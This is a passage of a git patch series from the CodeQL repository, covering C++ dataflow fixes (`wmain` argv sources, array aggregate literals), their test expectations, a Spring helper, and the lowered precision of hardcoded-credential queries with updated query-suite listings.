parameter to `main` or `wmain`. */ private class ArgvSource extends LocalFlowSource { ArgvSource() { exists(Function main, Parameter argv | - main.hasGlobalName("main") and + main.hasGlobalName(["main", "wmain"]) main.getParameter(1) = argv and this.asParameter(2) = argv ) From 94fe9b692fc5e088181148f132c6f34fd0f210f8 Mon Sep 17 00:00:00 2001 From: GeekMasher Date: Fri, 16 May 2025 18:35:50 +0100 Subject: [PATCH 181/535] feat(cpp): Add change notes --- cpp/ql/lib/change-notes/2025-05-16-wmain-support.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-16-wmain-support.md diff --git a/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md new file mode 100644 index 000000000000..bdc369bfeddc --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-16-wmain-support.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added support for `wmain` as part of the ArgvSource model. \ No newline at end of file From bbce0d0c65228eaa41734b108bec472675a6aae5 Mon Sep 17 00:00:00 2001 From: Mathew Payne <2772944+GeekMasher@users.noreply.github.com> Date: Fri, 16 May 2025 18:55:00 +0100 Subject: [PATCH 182/535] Update cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll Co-authored-by: Jeroen Ketema <93738568+jketema@users.noreply.github.com> --- cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll index b79a94ae2223..b5e94d4c0463 100644 --- a/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll +++ b/cpp/ql/lib/semmle/code/cpp/security/FlowSources.qll @@ -60,7 +60,7 @@ private class LocalModelSource extends LocalFlowSource { private class ArgvSource extends LocalFlowSource { ArgvSource() { exists(Function main, Parameter argv | - main.hasGlobalName(["main", "wmain"]) + main.hasGlobalName(["main", "wmain"]) and main.getParameter(1) = argv and this.asParameter(2) = argv ) From 8e005a65bf8a2f76a86f22e554605256b48bb010 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 20:12:58 +0100 Subject: [PATCH 183/535] C++: Fix missing 'asExpr' for array aggregate literals. --- .../cpp/ir/dataflow/internal/ExprNodes.qll | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll index 5514bd80eeec..42ab60eced78 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll @@ -45,6 +45,28 @@ private module Cached { ) } + private Expr getRankedElementExpr(ArrayAggregateLiteral aggr, int rnk) { + result = + rank[rnk + 1](Expr e, int elementIndex, int position | + e = aggr.getElementExpr(elementIndex, position) + | + e order by elementIndex, position + ) + } + + private class LastArrayAggregateStore extends StoreInstruction { + ArrayAggregateLiteral aggr; + + LastArrayAggregateStore() { + exists(int rnk | + this.getSourceValue().getUnconvertedResultExpression() = getRankedElementExpr(aggr, rnk) and + not exists(getRankedElementExpr(aggr, rnk + 1)) + ) + } + + ArrayAggregateLiteral getArrayAggregateLiteral() { result = aggr } + } + private Expr getConvertedResultExpressionImpl0(Instruction instr) { // IR construction inserts an additional cast to a `size_t` on the extent // of a `new[]` expression. The resulting `ConvertInstruction` doesn't have @@ -95,6 +117,16 @@ private module Cached { tco.producesExprResult() and result = asDefinitionImpl0(instr) ) + or + // IR construction breaks an array aggregate literal `{1, 2, 3}` into a + // sequence of `StoreInstruction`s. So there's no instruction `i` for which + // `i.getUnconvertedResultExpression() instanceof ArrayAggregateLiteral`. + // So we map the instruction node corresponding to the last `Store` + // instruction of the sequence to the result of the array aggregate + // literal. This makes sense since this store will immediately flow into + // the indirect node representing the array. So this node does represent + // the array after it has been fully initialized. + result = instr.(LastArrayAggregateStore).getArrayAggregateLiteral() } private Expr getConvertedResultExpressionImpl(Instruction instr) { From ced1d580dff30c53faaef8f4469b3ef1840a2f56 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 20:14:10 +0100 Subject: [PATCH 184/535] C++: Accept test changes. --- cpp/ql/test/library-tests/dataflow/asExpr/test.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp index c81b86aa8ae3..fc9a4e6be082 100644 --- a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp @@ -35,6 +35,6 @@ void test_aggregate_literal() { S s5 = {.a = 1, .b = 2}; // $ asExpr=1 asExpr=2 asExpr={...} - int xs[] = {1, 2, 3}; // $ asExpr=1 asExpr=2 asExpr=3 MISSING: asExpr={...} - const int ys[] = {[0] = 4, [1] = 5, [0] = 6}; // $ asExpr=4 asExpr=5 asExpr=6 MISSING: asExpr={...} + int xs[] = {1, 2, 3}; // $ asExpr=1 asExpr=2 asExpr=3 asExpr={...} + const int ys[] = {[0] = 4, [1] = 5, [0] = 6}; // $ asExpr=4 asExpr=5 asExpr=6 asExpr={...} } \ No newline at end of file From 0eb55779fbcd875278312abdbe2886276e81c38f Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 20:30:21 +0100 Subject: [PATCH 185/535] C++: Add change note. --- .../lib/change-notes/2025-05-16-array-aggregate-literals.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md diff --git a/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md new file mode 100644 index 000000000000..a1aec0a695a7 --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-16-array-aggregate-literals.md @@ -0,0 +1,4 @@ +--- +category: fix +--- +* Fixed a problem where `asExpr()` on `DataFlow::Node` would never return `ArrayAggregateLiteral`s. \ No newline at end of file From ff11aaf2bb8f6d77c1df811086237a4f845245de Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 21:01:55 +0100 Subject: [PATCH 186/535] C++: Accept query test 'toString' improvements. --- .../semmle/consts/NonConstantFormat.expected | 16 ++++++++-------- .../CWE/CWE-319/UseOfHttp/UseOfHttp.expected | 6 +++--- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected index 421d12dabd31..c2a952774ff0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-134/semmle/consts/NonConstantFormat.expected @@ -2,8 +2,8 @@ edges | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:25:2:25:4 | *a | provenance | | | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:30:9:30:14 | *access to array | provenance | | | consts.cpp:24:7:24:9 | **gv1 | consts.cpp:123:2:123:12 | *... = ... | provenance | | -| consts.cpp:25:2:25:4 | *a | consts.cpp:26:2:26:4 | *b | provenance | | -| consts.cpp:26:2:26:4 | *b | consts.cpp:24:7:24:9 | **gv1 | provenance | | +| consts.cpp:25:2:25:4 | *a | consts.cpp:26:2:26:4 | *{...} | provenance | | +| consts.cpp:26:2:26:4 | *{...} | consts.cpp:24:7:24:9 | **gv1 | provenance | | | consts.cpp:29:7:29:25 | **nonConstFuncToArray | consts.cpp:126:9:126:30 | *call to nonConstFuncToArray | provenance | | | consts.cpp:30:9:30:14 | *access to array | consts.cpp:29:7:29:25 | **nonConstFuncToArray | provenance | | | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:86:9:86:10 | *v1 | provenance | | @@ -14,7 +14,7 @@ edges | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:129:19:129:20 | *v1 | provenance | | | consts.cpp:85:7:85:8 | gets output argument | consts.cpp:135:9:135:11 | *v10 | provenance | TaintFunction | | consts.cpp:90:2:90:14 | *... = ... | consts.cpp:91:9:91:10 | *v2 | provenance | | -| consts.cpp:90:2:90:14 | *... = ... | consts.cpp:115:21:115:22 | *v2 | provenance | | +| consts.cpp:90:2:90:14 | *... = ... | consts.cpp:115:21:115:22 | *{...} | provenance | | | consts.cpp:90:7:90:10 | *call to gets | consts.cpp:90:2:90:14 | *... = ... | provenance | | | consts.cpp:90:12:90:13 | gets output argument | consts.cpp:94:13:94:14 | *v1 | provenance | | | consts.cpp:90:12:90:13 | gets output argument | consts.cpp:99:2:99:8 | *... = ... | provenance | | @@ -28,9 +28,9 @@ edges | consts.cpp:106:13:106:19 | *call to varFunc | consts.cpp:107:9:107:10 | *v5 | provenance | | | consts.cpp:111:2:111:15 | *... = ... | consts.cpp:112:9:112:10 | *v6 | provenance | | | consts.cpp:111:7:111:13 | *call to varFunc | consts.cpp:111:2:111:15 | *... = ... | provenance | | -| consts.cpp:115:17:115:18 | *v1 | consts.cpp:115:21:115:22 | *v2 | provenance | | -| consts.cpp:115:21:115:22 | *v2 | consts.cpp:116:9:116:13 | *access to array | provenance | | -| consts.cpp:115:21:115:22 | *v2 | consts.cpp:120:2:120:11 | *... = ... | provenance | | +| consts.cpp:115:17:115:18 | *v1 | consts.cpp:115:21:115:22 | *{...} | provenance | | +| consts.cpp:115:21:115:22 | *{...} | consts.cpp:116:9:116:13 | *access to array | provenance | | +| consts.cpp:115:21:115:22 | *{...} | consts.cpp:120:2:120:11 | *... = ... | provenance | | | consts.cpp:120:2:120:11 | *... = ... | consts.cpp:121:9:121:10 | *v8 | provenance | | | consts.cpp:123:2:123:12 | *... = ... | consts.cpp:24:7:24:9 | **gv1 | provenance | | | consts.cpp:129:19:129:20 | *v1 | consts.cpp:130:9:130:10 | *v9 | provenance | | @@ -39,7 +39,7 @@ edges nodes | consts.cpp:24:7:24:9 | **gv1 | semmle.label | **gv1 | | consts.cpp:25:2:25:4 | *a | semmle.label | *a | -| consts.cpp:26:2:26:4 | *b | semmle.label | *b | +| consts.cpp:26:2:26:4 | *{...} | semmle.label | *{...} | | consts.cpp:29:7:29:25 | **nonConstFuncToArray | semmle.label | **nonConstFuncToArray | | consts.cpp:30:9:30:14 | *access to array | semmle.label | *access to array | | consts.cpp:85:7:85:8 | gets output argument | semmle.label | gets output argument | @@ -60,7 +60,7 @@ nodes | consts.cpp:111:7:111:13 | *call to varFunc | semmle.label | *call to varFunc | | consts.cpp:112:9:112:10 | *v6 | semmle.label | *v6 | | consts.cpp:115:17:115:18 | *v1 | semmle.label | *v1 | -| consts.cpp:115:21:115:22 | *v2 | semmle.label | *v2 | +| consts.cpp:115:21:115:22 | *{...} | semmle.label | *{...} | | consts.cpp:116:9:116:13 | *access to array | semmle.label | *access to array | | consts.cpp:120:2:120:11 | *... = ... | semmle.label | *... = ... | | consts.cpp:121:9:121:10 | *v8 | semmle.label | *v8 | diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected index a978b9edd7d2..971cdb4f3ff3 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.expected @@ -6,8 +6,8 @@ edges | test.cpp:28:10:28:29 | *http://example.com | test.cpp:11:26:11:28 | *url | provenance | | | test.cpp:35:23:35:42 | *http://example.com | test.cpp:35:23:35:42 | *http://example.com | provenance | | | test.cpp:35:23:35:42 | *http://example.com | test.cpp:39:11:39:15 | *url_l | provenance | | -| test.cpp:36:26:36:45 | *http://example.com | test.cpp:36:26:36:45 | *http://example.com | provenance | | -| test.cpp:36:26:36:45 | *http://example.com | test.cpp:40:11:40:17 | *access to array | provenance | | +| test.cpp:36:26:36:45 | *http://example.com | test.cpp:36:26:36:45 | *{...} | provenance | | +| test.cpp:36:26:36:45 | *{...} | test.cpp:40:11:40:17 | *access to array | provenance | | | test.cpp:38:11:38:15 | *url_g | test.cpp:11:26:11:28 | *url | provenance | | | test.cpp:39:11:39:15 | *url_l | test.cpp:11:26:11:28 | *url | provenance | | | test.cpp:40:11:40:17 | *access to array | test.cpp:11:26:11:28 | *url | provenance | | @@ -29,7 +29,7 @@ nodes | test.cpp:35:23:35:42 | *http://example.com | semmle.label | *http://example.com | | test.cpp:35:23:35:42 | *http://example.com | semmle.label | *http://example.com | | test.cpp:36:26:36:45 | *http://example.com | semmle.label | *http://example.com | -| test.cpp:36:26:36:45 | *http://example.com | semmle.label | *http://example.com | +| test.cpp:36:26:36:45 | *{...} | semmle.label | *{...} | | test.cpp:38:11:38:15 | *url_g | semmle.label | *url_g | | test.cpp:39:11:39:15 | *url_l | semmle.label | *url_l | | test.cpp:40:11:40:17 | *access to array | semmle.label | *access to array | From f575d2f94165b0864025d5aeefe5be21060a6702 Mon Sep 17 00:00:00 2001 From: sentient0being <2663472225@qq.com> Date: Sat, 17 May 2025 19:40:41 +0800 Subject: [PATCH 187/535] get array string url --- .../semmle/code/java/frameworks/spring/SpringController.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll index a222be20c20a..cb7bd0e3dac4 100644 --- a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll +++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll @@ -156,6 +156,10 @@ class SpringRequestMappingMethod extends SpringControllerMethod { /** Gets the "value" @RequestMapping annotation value, if present. */ string getValue() { result = requestMappingAnnotation.getStringValue("value") } + + + /** Gets the "value" @RequestMapping annotation array string value, if present. */ + string getArrayValue() { result = requestMappingAnnotation.getAStringArrayValue("value") } /** Gets the "method" @RequestMapping annotation value, if present. */ string getMethodValue() { result = requestMappingAnnotation.getAnEnumConstantArrayValue("method").getName() From 03ecd244694ada295d127e64b60e25af61c644af Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 16 May 2025 11:58:15 +0200 Subject: [PATCH 188/535] Lower the precision of a range of harcoded password queries to remove them from query suites. --- csharp/ql/src/Configuration/PasswordInConfigurationFile.ql | 2 +- .../src/Security Features/CWE-798/HardcodedConnectionString.ql | 2 +- csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql | 2 +- go/ql/src/Security/CWE-798/HardcodedCredentials.ql | 2 +- java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql | 2 +- .../ql/src/Security/CWE-313/PasswordInConfigurationFile.ql | 2 +- javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql | 2 +- python/ql/src/Security/CWE-798/HardcodedCredentials.ql | 2 +- ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql | 2 +- swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql | 2 +- swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql | 2 +- 11 files changed, 11 insertions(+), 11 deletions(-) diff --git a/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql b/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql index a2fe7cf2290e..0cc3f9cfca26 100644 --- a/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql +++ b/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql @@ -4,7 +4,7 @@ * @kind problem * @problem.severity warning * @security-severity 7.5 - * @precision medium + * @precision low * @id cs/password-in-configuration * @tags security * external/cwe/cwe-013 diff --git a/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql b/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql index 09f4bdca26bf..32508fa9d3fb 100644 --- a/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql +++ b/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id cs/hardcoded-connection-string-credentials * @tags security * external/cwe/cwe-259 diff --git a/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql b/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql index d4291c90fb23..d0aed008261b 100644 --- a/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql +++ b/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id cs/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/go/ql/src/Security/CWE-798/HardcodedCredentials.ql b/go/ql/src/Security/CWE-798/HardcodedCredentials.ql index 37ebbad8f68b..d14f24966bef 100644 --- a/go/ql/src/Security/CWE-798/HardcodedCredentials.ql +++ b/go/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -5,7 +5,7 @@ * @kind problem * @problem.severity warning * @security-severity 9.8 - * @precision medium + * @precision low * @id go/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql b/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql index 410cea0ed03a..7153ba726da9 100644 --- a/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql +++ b/java/ql/src/Security/CWE/CWE-798/HardcodedCredentialsApiCall.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id java/hardcoded-credential-api-call * @tags security * external/cwe/cwe-798 diff --git a/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql b/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql index d00ea7343df5..f00a5092a821 100644 --- a/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql +++ b/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql @@ -4,7 +4,7 @@ * @kind problem * @problem.severity warning * @security-severity 7.5 - * @precision medium + * @precision low * @id js/password-in-configuration-file * @tags security * external/cwe/cwe-256 diff --git a/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql b/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql index a94153e02263..6bb5218ad6ac 100644 --- a/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql +++ b/javascript/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -5,7 +5,7 @@ * @kind path-problem * @problem.severity warning * @security-severity 9.8 - * @precision high + * @precision low * @id js/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/python/ql/src/Security/CWE-798/HardcodedCredentials.ql b/python/ql/src/Security/CWE-798/HardcodedCredentials.ql index c8aecd7204ba..d08223a553bd 100644 --- a/python/ql/src/Security/CWE-798/HardcodedCredentials.ql +++ b/python/ql/src/Security/CWE-798/HardcodedCredentials.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id py/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql b/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql index c568e8d2aafc..bba71760818d 100644 --- a/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql +++ b/ruby/ql/src/queries/security/cwe-798/HardcodedCredentials.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 9.8 - * @precision medium + * @precision low * @id rb/hardcoded-credentials * @tags security * external/cwe/cwe-259 diff --git a/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql b/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql index 4eb9e4548ec9..1eb42b301a9f 100644 --- a/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql +++ b/swift/ql/src/queries/Security/CWE-259/ConstantPassword.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 6.8 - * @precision high + * @precision low * @id swift/constant-password * @tags security * external/cwe/cwe-259 diff --git a/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql b/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql index f157478fc8ea..f6758f94bb27 100644 --- a/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql +++ b/swift/ql/src/queries/Security/CWE-321/HardcodedEncryptionKey.ql @@ -4,7 +4,7 @@ * @kind path-problem * @problem.severity error * @security-severity 8.1 - * @precision high + * @precision low * @id swift/hardcoded-key * @tags security * external/cwe/cwe-321 From 530025b7aed25bc07486e1ab657ec470b4508613 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 16 May 2025 12:02:48 +0200 Subject: [PATCH 189/535] Update integration tests expected output. --- .../posix/query-suite/csharp-security-and-quality.qls.expected | 3 --- .../posix/query-suite/csharp-security-extended.qls.expected | 3 --- .../posix/query-suite/not_included_in_qls.expected | 3 +++ .../query-suite/go-security-and-quality.qls.expected | 1 - .../query-suite/go-security-extended.qls.expected | 1 - .../integration-tests/query-suite/not_included_in_qls.expected | 1 + .../java/query-suite/java-security-and-quality.qls.expected | 1 - .../java/query-suite/java-security-extended.qls.expected | 1 - .../java/query-suite/not_included_in_qls.expected | 1 + .../query-suite/javascript-code-scanning.qls.expected | 1 - .../query-suite/javascript-security-and-quality.qls.expected | 2 -- .../query-suite/javascript-security-extended.qls.expected | 2 -- .../integration-tests/query-suite/not_included_in_qls.expected | 2 ++ .../integration-tests/query-suite/not_included_in_qls.expected | 1 + .../query-suite/python-security-and-quality.qls.expected | 1 - .../query-suite/python-security-extended.qls.expected | 1 - .../integration-tests/query-suite/not_included_in_qls.expected | 1 + .../query-suite/ruby-security-and-quality.qls.expected | 1 - .../query-suite/ruby-security-extended.qls.expected | 1 - .../posix/query-suite/not_included_in_qls.expected | 2 ++ .../posix/query-suite/swift-code-scanning.qls.expected | 2 -- .../posix/query-suite/swift-security-and-quality.qls.expected | 2 -- .../posix/query-suite/swift-security-extended.qls.expected | 2 -- 23 files changed, 11 insertions(+), 25 deletions(-) diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected index fc0fa2403f96..d4d145986c1b 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-security-and-quality.qls.expected @@ -38,7 +38,6 @@ ql/csharp/ql/src/Concurrency/SynchSetUnsynchGet.ql ql/csharp/ql/src/Concurrency/UnsafeLazyInitialization.ql ql/csharp/ql/src/Concurrency/UnsynchronizedStaticAccess.ql ql/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql -ql/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql ql/csharp/ql/src/Dead Code/DeadStoreOfLocal.ql ql/csharp/ql/src/Diagnostics/CompilerError.ql ql/csharp/ql/src/Diagnostics/CompilerMessage.ql @@ -146,8 +145,6 @@ ql/csharp/ql/src/Security Features/CWE-639/InsecureDirectObjectReference.ql ql/csharp/ql/src/Security Features/CWE-643/XPathInjection.ql ql/csharp/ql/src/Security Features/CWE-730/ReDoS.ql ql/csharp/ql/src/Security Features/CWE-730/RegexInjection.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql ql/csharp/ql/src/Security Features/CWE-807/ConditionalBypass.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadDomain.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadPath.ql diff --git a/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected b/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected index 69f47536e683..48f7ad304a01 100644 --- a/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/csharp-security-extended.qls.expected @@ -1,5 +1,4 @@ ql/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql -ql/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql ql/csharp/ql/src/Diagnostics/CompilerError.ql ql/csharp/ql/src/Diagnostics/CompilerMessage.ql ql/csharp/ql/src/Diagnostics/DiagnosticExtractionErrors.ql @@ -49,8 +48,6 @@ ql/csharp/ql/src/Security Features/CWE-639/InsecureDirectObjectReference.ql ql/csharp/ql/src/Security Features/CWE-643/XPathInjection.ql ql/csharp/ql/src/Security Features/CWE-730/ReDoS.ql ql/csharp/ql/src/Security Features/CWE-730/RegexInjection.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql -ql/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql ql/csharp/ql/src/Security Features/CWE-807/ConditionalBypass.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadDomain.ql ql/csharp/ql/src/Security Features/CookieWithOverlyBroadPath.ql diff --git a/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected b/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected index 9604a4aed64e..dff6574dddd0 100644 --- a/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected +++ b/csharp/ql/integration-tests/posix/query-suite/not_included_in_qls.expected @@ -26,6 +26,7 @@ ql/csharp/ql/src/Bad Practices/Naming Conventions/DefaultControlNames.ql ql/csharp/ql/src/Bad Practices/Naming Conventions/VariableNameTooShort.ql ql/csharp/ql/src/Bad Practices/UseOfHtmlInputHidden.ql ql/csharp/ql/src/Bad Practices/UseOfSystemOutputStream.ql +ql/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql ql/csharp/ql/src/Dead Code/DeadRefTypes.ql ql/csharp/ql/src/Dead Code/NonAssignedFields.ql ql/csharp/ql/src/Dead Code/UnusedField.ql @@ -89,6 +90,8 @@ ql/csharp/ql/src/Security Features/CWE-321/HardcodedSymmetricEncryptionKey.ql ql/csharp/ql/src/Security Features/CWE-327/DontInstallRootCert.ql ql/csharp/ql/src/Security Features/CWE-502/UnsafeDeserialization.ql ql/csharp/ql/src/Security Features/CWE-611/UseXmlSecureResolver.ql +ql/csharp/ql/src/Security Features/CWE-798/HardcodedConnectionString.ql +ql/csharp/ql/src/Security Features/CWE-798/HardcodedCredentials.ql ql/csharp/ql/src/Security Features/CWE-838/InappropriateEncoding.ql ql/csharp/ql/src/Useless code/PointlessForwardingMethod.ql ql/csharp/ql/src/definitions.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef7..634335cd05e3 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -50,6 +50,5 @@ ql/go/ql/src/Security/CWE-640/EmailInjection.ql ql/go/ql/src/Security/CWE-643/XPathInjection.ql ql/go/ql/src/Security/CWE-681/IncorrectIntegerConversionQuery.ql ql/go/ql/src/Security/CWE-770/UncontrolledAllocationSize.ql -ql/go/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/go/ql/src/Security/CWE-918/RequestForgery.ql ql/go/ql/src/Summary/LinesOfCode.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364ab..12db20e22f5c 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -28,6 +28,5 @@ ql/go/ql/src/Security/CWE-640/EmailInjection.ql ql/go/ql/src/Security/CWE-643/XPathInjection.ql ql/go/ql/src/Security/CWE-681/IncorrectIntegerConversionQuery.ql ql/go/ql/src/Security/CWE-770/UncontrolledAllocationSize.ql -ql/go/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/go/ql/src/Security/CWE-918/RequestForgery.ql ql/go/ql/src/Summary/LinesOfCode.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a29..bca9992e6005 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -6,6 +6,7 @@ ql/go/ql/src/Security/CWE-020/UntrustedDataToExternalAPI.ql ql/go/ql/src/Security/CWE-020/UntrustedDataToUnknownExternalAPI.ql ql/go/ql/src/Security/CWE-078/StoredCommand.ql ql/go/ql/src/Security/CWE-079/StoredXss.ql +ql/go/ql/src/Security/CWE-798/HardcodedCredentials.ql ql/go/ql/src/definitions.ql ql/go/ql/src/experimental/CWE-090/LDAPInjection.ql ql/go/ql/src/experimental/CWE-1004/CookieWithoutHttpOnly.ql diff --git a/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected b/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected index 85d7e7d0960d..f4317f8e2a5c 100644 --- a/java/ql/integration-tests/java/query-suite/java-security-and-quality.qls.expected +++ 